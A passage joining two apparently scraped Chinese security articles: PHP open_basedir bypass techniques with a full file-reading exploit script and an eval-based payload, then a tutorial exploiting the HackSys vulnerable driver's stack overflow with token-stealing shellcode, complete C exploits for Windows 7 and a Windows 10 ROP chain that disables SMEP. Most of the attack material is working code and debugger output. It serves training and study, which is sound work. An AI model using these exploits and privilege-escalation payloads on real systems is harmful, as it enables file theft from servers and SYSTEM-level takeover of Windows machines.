1. 创建A/B/C/D目录，并返回到起始目录
2. `symlink("A/B/C/D","SD")`:创建符号文件SD,指向A/B/C/D
3. `symlink("SD/../../../../etc/passwd","POC")`:创建符号文件POC,指向`SD/../../../../etc/passwd`。此时SD=A/B/C/D,而`A/B/C/D../../../../`=`/var/www/html`,符合open_basedir的限制,创建成功。
4. unlink("SD"):删除软链接SD，并创建一个文件夹,此时SD作为一个真正的目录存在。那么访问POC,指向的是`SD/../../../../etc/passwd`,`SD/../../../`就是/var目录,`/var/../etc/passwd`恰好可以读取到etc目录下的passwd，从而达到跨目录访问的效果。
这里需要跨几层目录就需要创建几层目录。
最后附上p牛EXP
<?php
/* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
## 利用bindtextdomain和SplFileInfo方法
bindtextdomain设置或获取域名的路径，函数原型为:
bindtextdomain(string $domain, ?string $directory): string|false
利用原理是基于报错：`bindtextdomain()`函数的第二个参数$directory是一个文件路径，它会在$directory存在的时候返回$directory，不存在则返回false。
`SplFileInfo`函数类似。
poc
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>
如果成功访问到存在的文件是会返回该文件路径：
而如果访问到不存在的文件就会返回`false`
这个方法感觉非常鸡肋,用起来比较恶心，最好与其他方法组合使用。
## 利用SplFileInfo::getRealPath()方法
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SplFileInfo类为单个文件的信息提供了一个高级的面向对象的接口。
而其中`getRealPath()`用于获取文件的绝对路径。bypass原理同样是基于报错，该方法在获取文件路径的时候，如果存入一个不存在的路径时，会返回false，否则返回绝对路径，而且他还直接忽略了open_basedir的设定。
脚本如下
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s <br/><br/>", ini_get('open_basedir'));
$basedir = 'D:/CSGO/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<<');
$re = $info->getRealPath();
if ($re) {
echo $re."<br>";
}
}
## 利用realpath列目录
环境要求:Windows
realpath()返回规范化的绝对路径名,它可以去掉多余的../或./等跳转字符，能将相对路径转换成绝对路径。
realpath(string $path): string|false
bypass原理:
与上面说到的两种方式类似。在开启了open_basedir的情况下，如果我们传入一个不存在的文件名，会返回false，但是如果我们传入一个不在open_basedir里的文件的话，他就会返回`file
is not within the allowed path(s)`，有点像盲注,基于报错来判断文件名。
脚本入下:
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'D:/5E/5EClient/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>
## 利用chdir与ini_set
`chdir`将工作目录切换到指定的目录,函数原型为
chdir(string $directory): bool
`ini_set`i用来设置php.ini的值，无需打开php.ini文件，就能修改配置。函数原型为:
ini_set(string $option, string $value): string|false
设置指定配置选项的值。这个选项会在脚本运行时保持新的值，并在脚本结束时恢复。
bypass原理大概open_basedir设计逻辑的安全问题
分析过程参考:[从PHP底层看open_basedir
bypass](https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/)
一个小demo，将该文件放到网站目录下:
<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>
构造payload
mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
open_basedir被设置成了'\',失去原有的限制。
## Reference
[浅谈几种Bypass
open_basedir的方法](https://www.mi1k7ea.com/2019/07/20/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-open-basedir%E7%9A%84%E6%96%B9%E6%B3%95/)
[PHP bypass open_basedir](http://diego.team/2020/07/28/PHP-bypass-open_basedir/)
[php5全版本绕过open_basedir读文件脚本](https://www.leavesongs.com/bypass-open-basedir-readfile.html)
最后欢迎关注团队公众号：红队蓝军 | 社区文章 |
# HEVD Window Kernel Exploit 01 - StackOverflow
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
栈溢出是一个最基本的漏洞利用方式，这里我们利用这个作为入门学习，了解一下在 Windows Kernel 下触发栈溢出时，与User Mode的不同之处。
## 漏洞程序
找到之前准备好的`HackSysExtremeVulnerableDriver.sys`，里面有一个准备好的带有栈溢出的函数，叫做`StackOverflowIoctlHandler`。我们通过逆向，找到对应触发函数的`IOCTL`:
记录下此时的 IOCTL Code 为 222003h。之后我们来看这个程序的内部逻辑:
int __stdcall StackOverflowIoctlHandler(PIRP a1, PIO_STACK_LOCATION a2)
{
int v2; // ecx
HANDLE v3; // edx
v2 = 0xC0000001;
v3 = a2->Parameters.SetFile.DeleteHandle;
if ( v3 )
v2 = TriggerStackOverflow(v3, a2->Parameters.Create.Options);
return v2;
}
_PS：这类`IOCTL Handle
Routine`的传入参数类型是固定的，一定是第一个为`PRIR`，第二个为`PIO_STACK_LOCATION`，如果没有识别出参数的话，可以直接指定参数类型_
此时发现，这个`a2`好像识别的有一点问题，从函数名也能猜到，程序逻辑本身应该是一个读取`Buffer`的逻辑，不应该和`SetFile`这类文件操作相关，所以这里推测，应该是`PIO_STACK_LOCATION`结构体中存在`union`结构，所以此时识别的结构体出现了错误。这个时候回退到`Disassembly`的界面，然后在参数的位置处右键，选择`Structure
Offset`，就能够修改当前结构体识别的类型。
这里我们修改成和`DeviceIoControl`相关的`DeviceIoControl.Type3InputBuffer`，下面的参数也修改成`DeviceIoControl.InputBufferLength`，整个逻辑就变成了
int __stdcall StackOverflowIoctlHandler(PIRP a1, _IO_STACK_LOCATION *a2)
{
int v2; // ecx
PVOID Buffer; // edx
v2 = 0xC0000001;
Buffer = a2->Parameters.DeviceIoControl.Type3InputBuffer;
if ( Buffer )
v2 = TriggerStackOverflow(Buffer, a2->Parameters.DeviceIoControl.InputBufferLength);
return v2;
}
此时逻辑就清晰了很多：读取`IO_STACK_LOCATION`指针指向的Buffer内容，并且将Buffer的和Buffer的长度传入到触发函数中。并且触发函数中的内容如下:
int __stdcall TriggerStackOverflow(void *Address, size_t MaxCount)
{
char Dst; // [esp+14h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+818h] [ebp-18h]
memset(&Dst, 0, 0x800u);
ms_exc.registration.TryLevel = 0;
ProbeForRead(Address, 0x800u, 4u);
DbgPrint("[+] UserBuffer: 0x%p\n", Address);
DbgPrint("[+] UserBuffer Size: 0x%X\n", MaxCount);
DbgPrint("[+] KernelBuffer: 0x%p\n", &Dst);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 2048);
DbgPrint("[+] Triggering Stack Overflow\n");
memcpy(&Dst, Address, MaxCount);
return 0;
}
简单介绍一下内核函数`ProbeForRead`：
void ProbeForRead(
const volatile VOID *Address,
SIZE_T Length,
ULONG Alignment
);
函数能够检查当前的地址是否属于用户态（访问地址是否越界），并且检查当前的地址是否是按照第三个参数要求的 Alignment
进行对齐。然后就会将当前传入的`Buffer`按照Buffer本身的`MaxCount`拷贝到栈上，从而造成栈溢出。
## 利用分析
整个逻辑是分析清楚了：只要使用`DeviceIoControl`从用户端这边发送请求，并且使用的是`Buffer`,而且大小超过了`0x81c`，就会发生栈溢出，造成返回值被劫持。
### 提权相关
单纯劫持返回值还不够，因为内核态并没有类似于用户态中的`system`这类方便的劫持函数。在内核态实现劫持，根据平台的不同，会使用的不同的劫持方式
#### WIN7
在Win7阶段，内核态并没有做过多的限制，所以 **可以在内核态执行用户态的程序**
。那么如果劫持了返回值，那么便是可以运行由我们自己申请的地址空间上的shellcode。一般的逻辑如下：
首先在Windows操作系统中，所有的东西都被视为 **对象** ，每一个对象都有一个 **安全描述符（security descriptors）**
（长得有点像`(A;;RPWPCCDCLCRCWOWDSDSW;;;DA)`这样的）其在内存中存储的形式通常为一个token。它会描述当前进程的所有者，以及其的相关权限，包括对文件的操作等等。这里最高的权限就是`NT
AUTHORITY\SYSTEM`，系统权限拥有对所有文件的任意权力（相当于是root）。所以一般的提权思路就是：
1. 遍历当前所有进程
2. 找到当前进程中的系统进程（通常来说进程号4的进程就是系统进程啦）
3. 将其的安全描述符token复制到当前进程的安全描述符中，即可完成提权
能够找到的payload如下
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
## EXP实现
内核态的通信和用户态不太一样。看过的教材中有使用C语言直接编译exe的，也有使用python/powershell调用库进行攻击的。于是这里打算介绍一下最普通的使用C语言的攻击，以及最近比较流行的使用powershell进行的攻击（这一类似乎被称之为fileless
attack)
### C语言
#### 通讯准备
首先要能够实现最基本的通信，使用C（Cpp）的话，需要直接调用Windows系列的API对文件进行操作，如下:
#include "pch.h"
#include <iostream>
#include <Windows.h>
#define DEVICE_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
HANDLE GetDeviceHandle() {
HANDLE hRet = NULL;
hRet = CreateFile(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
if (hRet == INVALID_HANDLE_VALUE) {
std::cout << "Error open Device with error code " << GetLastError() << std::endl;
}
return hRet;
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
HANDLE hDev = GetDeviceHandle();
if (!hDev)
return;
std::cout << "We Get handle is :" << std::hex << hDev << std::endl;
DWORD dwSize = 0x818;
DWORD dwRetSize = 0;
CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
RtlFillMemory(Buffer, dwSize, 'A');
OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");
std::cout << "Finish Send IOCTL" << std::endl;
HeapFree(GetProcessHeap(), 0, Buffer);
Buffer = NULL;
}
int main()
{
std::cout << "[+] Exerciese: Stack Overflow\n";
TriggerStackOverFlow(0x222003);
}
#### 提权攻击(Win7)
由于Win7上暂时没有太多的防护，所以可以直接使用拷贝token的方式进行提权。这里直接通过计算好返回值所需要的padding，然后让返回的地址跳转到我们自己申请的内存空间上来实现攻击。不过这里要考虑一件事情：以前我们都是直接弹出一个cmd结束攻击，然而提权攻击却不能只弹出一个cmd就完成攻击，这意味着类似BufferOverflow这类攻击如果将栈的内容进行了修改之后，我们需要有一个
**防止系统发现栈被破坏** 的操作。为了实现这一点，我们需要先观察一下栈中的内容:
eax=00000000 ebx=9bf375f0 ecx=00000000 edx=00000000 esi=c00000bb edi=9bf37580
eip=9ddf4dde esp=a36bda14 ebp=a36bda14 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286
HackSysExtremeVulnerableDriver!StackOverflowIoctlHandler+0x20:
9ddf4dde 5d pop ebp; ret 8
1: kd> ddp esp
a36bda14 a36bda30 ;上一个栈的ebp
a36bda18 9ddf42d3 ;函数返回值，即将被我们劫持
a36bda1c 9bf37580 ;
a36bda20 9bf375f0
a36bda24 00060000 ;ret之后，esp实际指向的位置
a36bda28 a79efa88
a36bda2c b01a6b0e
a36bda30 a36bda4c ;函数 StackOverflowIoctlHandler 保存的的ebp
a36bda34 81a3f958 ;函数 StackOverflowIoctlHandler 保存的返回值
a36bda38 a79efa88 00b80003
a36bda3c 9bf37580 00940006
在距离返回值地址的0x18的位置上，正好有上一个函数的返回地址，所以当我们劫持了这个函数返回值的时候，在shellcode的末尾，我们可以加上一些额外的指令来实现恢复栈
xor eax, eax ;伪装返回值
add esp, 12 ;将栈调整到 StackOverflowIoctlHandler 的位置上
pop ebp
ret 8 ;这个地方照着 TriggerStackOverFlow 的结尾汇编写
这里我们参考HEVD给出的参考答案:
#include "pch.h"
#include "payload.h"
#include <iostream>
#include <Windows.h>
#define DEVICE_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
; Kernel Recovery Stub
xor eax, eax; Set NTSTATUS SUCCEESS
add esp, 12; Fix the stack
pop ebp; Restore saved EBP
ret 8; Return cleanly
}
}
HANDLE GetDeviceHandle() {
HANDLE hRet = NULL;
hRet = CreateFile(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
if (hRet == INVALID_HANDLE_VALUE) {
std::cout << "Error open Device with error code " << GetLastError() << std::endl;
}
return hRet;
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
HANDLE hDev = GetDeviceHandle();
if (!hDev)
return;
std::cout << "We Get handle is :" << std::hex << hDev << std::endl;
DWORD dwSize = 0x824;
DWORD dwRetSize = 0;
PVOID ExpAddress = &TokenStealingPayloadWin7;
PVOID RetAddress = NULL;
CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
RtlFillMemory(Buffer, dwSize, 'A');
// calculate ret address
RetAddress = &Buffer[0x820];
*(PULONG)RetAddress = (ULONG)ExpAddress;
OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");
std::cout << "Finish Send IOCTL" << std::endl;
HeapFree(GetProcessHeap(), 0, Buffer);
Buffer = NULL;
}
int main()
{
std::cout << "[+] Exerciese: Stack Overflow\n";
TriggerStackOverFlow(0x222003);
}
#### 提权攻击(Win10)
然而，如果用上述exp的话，似乎并没有那么顺利。我们调试可以看到如下结果:
HackSysExtremeVulnerableDriver!TriggerStackOverflow+0xc8:
9ddf4eaa c9 leave
9ddf4eab c20800 ret 8
;如果从这里执行下去的话，会看到如下的指令
1: kd> t
00f214b0 53 push ebx
1: kd> u 00f214b0
00f214b0 53 push ebx
00f214b1 56 push esi
00f214b2 57 push edi
00f214b3 60 pushad
00f214b4 33c0 xor eax,eax
00f214b6 648b8024010000 mov eax,dword ptr fs:[eax+124h]
00f214bd 8b4050 mov eax,dword ptr [eax+50h]
00f214c0 8bc8 mov ecx,eax
乍一看好像是成功的，但是如果让程序继续执行的话就会爆出如下的错误:
1: kd> t
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000fc
(0x00F214B0,0x25EEE125,0xA37449A0,0x80000005)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
这个错误码的意思是`ATTEMPTED EXECUTE ON NOEXECUTE MEMORY`，因为从Win 8.1 开始，Windows
就有了一种新的保护措施，叫做`Supervisor Mode Execution Prevention(SMEP)`。在这个保护下，不能在ring 0
的环境中执行 ring 3的代码。到了这个时候，就需要使用一些特殊的手段关闭这个特性。最常见的手段就是利用 **ROP**
攻击，修改`cr4`寄存器内容。一个常见的函数就是:
.text:00401000
...
.text:0048BF1D pop eax
.text:0048BF1E retn
KeFlushCurrentTb
.text:0057DF86 mov cr4, eax
.text:0057DF89 retn
; 这里用IDA观察有一个bug(?)，内存中的一些值没有按照真正的值进行映射（也可能是相对偏移的锅？）然后导致一些数据的位置不对。。。最后的偏移量需要动态调试得到
利用这个ROP，让RCX赋值为CR4。不过这里注意一点，由于这里使用的，此时如果使用IDA观察的话，需要知道当前段映射的真正偏移量。这个可以通过观察如下的特征知道:
.text:00401000 ; Section 1. (virtual address 00001000)
.text:00401000 ; Virtual size : 00295B24 (2710308.)
.text:00401000 ; Section size in file : 00295C00 (2710528.)
每个段开头都会有一个`virtual address`，这个值表示的是当前段会映射的地址，具体计算方式为`real_address =
image_base_address + virtual_address`。也就是说此时的`.text`段在内存中的真正的地址为:
`real_text = image_base_address + 0x1000`
然后我们需要观察cr4此时的正确的值。首先我们找到储了问题时的cr4:
For analysis of this file, run !analyze -v
nt!RtlpBreakWithStatusInstruction:
81b66484 cc int 3
1: kd> r cr4
cr4=001406e9
上网查找可知，第20bit为1表示的是SMEP打开（记得从低位往高位数，并且第一位数字是第0bit，第二位数字是第1bit），那么我们只需要将这一bit置0，即可以将这种防护关闭，此时也就是将值改成`0x0406e9`。
有了ROP，那么我们就需要一个泄露内核地址的途径。这里有两种不同的方式，一个叫做:`EnumDrivers`的API，另一种是利用`NtQueryInformationSystem`的方式获取。前者是官方给出的API，通过调用直接获取地址，而后者是则是通过逆向分析+动态调试，验证可知当前的地址空间上存放的是`ntoskrl.exe`的基地址。
前者直接就是一个API:
BOOL EnumDeviceDrivers(
LPVOID *lpImageBase,
DWORD cb,
LPDWORD lpcbNeeded
);
并且据观察，返回的地址数组中`lpImageBase`，第一个就是`ntoskrl.exe`的基地址。不过使用这个方法的时候，需要用到管理员权限。
这里打算用第一种方法实现地址泄露，第二种攻击方法参考<https://www.anquanke.com/post/id/173144>
这里贴出用`NtQueryInformationSystem`的exp
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _ROP {
PUCHAR PopRcxRet;
PUCHAR Cr4RegValue;
PUCHAR MovCr4EcxRet;
} ROP, *PROP;
typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
__int64* GetKernelBase()
{
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
__int64 *kernelBase = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo)
{
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = (__int64*)ModuleInfo->Module[0].ImageBase;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return kernelBase;
}
回到正文，此时代码修改如下:
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
; Kernel Recovery Stub
xor eax, eax; Set NTSTATUS SUCCEESS
add esp, 0x1c; Fix the stack
pop ebp; Restore saved EBP
ret 8; Return cleanly
}
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
HANDLE hDev = GetDeviceHandle();
if (!hDev)
return;
std::cout << "We Get handle is :" << std::hex << hDev << std::endl;
DWORD dwSize = 0x824 + 0x4/*pop ecx*/+ 0x4 * 2/*padding for esp*/+ 0x4/*ecx real value*/ + 0x4/*mov cr4 */;
DWORD dwRetSize = 0;
PVOID ExpAddress = &TokenStealingPayloadWin7;
PVOID RetAddress = NULL;
CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
// prepare ROP
DWORD dwBaseAddress = LeakNtoskrlBaseAddr();
std::cout << "Leak Device Address " << std::hex << dwBaseAddress << std::endl;
// get ROP address
DWORD dwSegBaseAddr = 0x00401000;
DWORD dwSegOffset = 0x1000;
DWORD dwRealPOPECX, dwBasePOPEAX = 0x0048BF1D;
DWORD dwRealMOVCR4, dwBaseMOVCR4 = 0x0057DF86;
dwRealMOVCR4 = dwBaseMOVCR4 - dwSegBaseAddr + dwBaseAddress + dwSegOffset;
dwRealPOPECX = dwBasePOPEAX - dwSegBaseAddr + dwBaseAddress + dwSegOffset;
std::cout << "[+] pop ecx is " << std::hex << dwRealPOPECX << std::endl;
std::cout << "[+} mov cr4 is " << std::hex << dwRealMOVCR4 << std::endl;
puts("[+] Begin to attack");
getchar();
// write it to attack buffer
RtlFillMemory(Buffer, dwSize, 'A');
RetAddress = &Buffer[0x820];
*(PULONG)RetAddress = (ULONG)dwRealPOPECX;
RetAddress = &Buffer[0x82c];
*(PULONG)RetAddress = (ULONG)0x406e9;
RetAddress = &Buffer[0x830];
*(PULONG)RetAddress = (ULONG)dwRealMOVCR4;
RetAddress = &Buffer[0x834];
*(PULONG)RetAddress = (ULONG)ExpAddress;
OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");
std::cout << "Finish Send IOCTL" << std::endl;
HeapFree(GetProcessHeap(), 0, Buffer);
Buffer = NULL;
}
不过这里由于引入了ROP，这里需要重新讨论一下栈的地址。
此时`->`指向的是之后会修改成的内容。由于加入了ROP，导致原先利用的返回值会被覆盖掉，所以这里需要重新调整返回值，让esp在调用exp的地址后，加上
**0x1c** ，让其跳转到`nt!IofCallDriver`的返回值，从而恢复调用栈。
#### Powershell版本
本质上差不多，不过这边使用的是Powershell下的编程:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD2
{
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(
IntPtr ptrAddress,
uint dwSize,
UInt32 AllocationType,
UInt32 Protext
);
[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesireAccess,
UInt32 dwSharingMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("psapi")]
public static extern bool EnumDeviceDrivers(
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] UInt32[] ddAddresses,
UInt32 arraySizeBytes,
[MarshalAs(UnmanagedType.U4)] out UInt32 bytesNeeded
);
}
"@
